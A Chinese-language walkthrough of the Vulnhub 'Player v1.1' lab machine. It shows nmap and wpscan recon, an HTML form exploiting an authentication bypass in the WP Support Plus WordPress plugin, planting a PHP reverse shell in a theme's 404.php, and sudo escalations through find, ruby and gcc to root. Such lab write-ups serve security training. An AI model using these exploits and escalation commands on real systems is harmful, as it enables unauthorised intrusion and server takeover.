Vulnhub:Player-v1.1靶机

kali:192.168.111.111

靶机:192.168.111.178

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.178

访问80端口发现存在一个目录

访问该目录发现是wordpress

wpscan扫描发现存在一个插件,和一个用户:wp-local

访问该连接http://192.168.111.178/g@web/index.php/wp-json/wp/v2/users/?per_page=100&page=1,发现密码hackNos@9012!!

该插件存在越权

漏洞利用

访问该地址http://192.168.111.178/g@web/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/wpsp_getCatName.php,添加以下html代码

<body>
<form action="http://192.168.111.178/g@web/wp-admin/admin-ajax.php" method="post">
Username: <input type="text" name="username" value="administrator">
<input type="hidden" name="email" value="sth">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" name="">
</form>
</body>

输入框填入发现的wp-local用户名,之后点按钮提交

然后访问http://192.168.111.178/g@web/wp-admin进入后台

修改网站源码,写入kali自带的php反弹shel脚本/usr/share/webshells/php/php-reverse-shell.php

写入完成后访问http://192.168.111.178/g@web/wp-content/themes/twentyseventeen/404.php获得shell

提权

使用之前发现的密码hackNos@9012!!,切换到security用户,查看sudo -l

提权方法https://gtfobins.github.io/gtfobins/find/#sudo

输入命令sudo -u hackNos-boat find . -exec /bin/sh \; -quit 切换到hackNos-boat用户

hackNos-boat用户sudo -l

提权方法:https://gtfobins.github.io/gtfobins/ruby/#sudo

输入命令sudo -u hunter ruby -e 'exec "/bin/sh"' 切换到hunter用户

hunter用户sudo -l

提权方法:https://gtfobins.github.io/gtfobins/gcc/#sudo

输入命令:sudo -u root gcc -wrapper /bin/sh,-s . 切换到root用户

获得flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值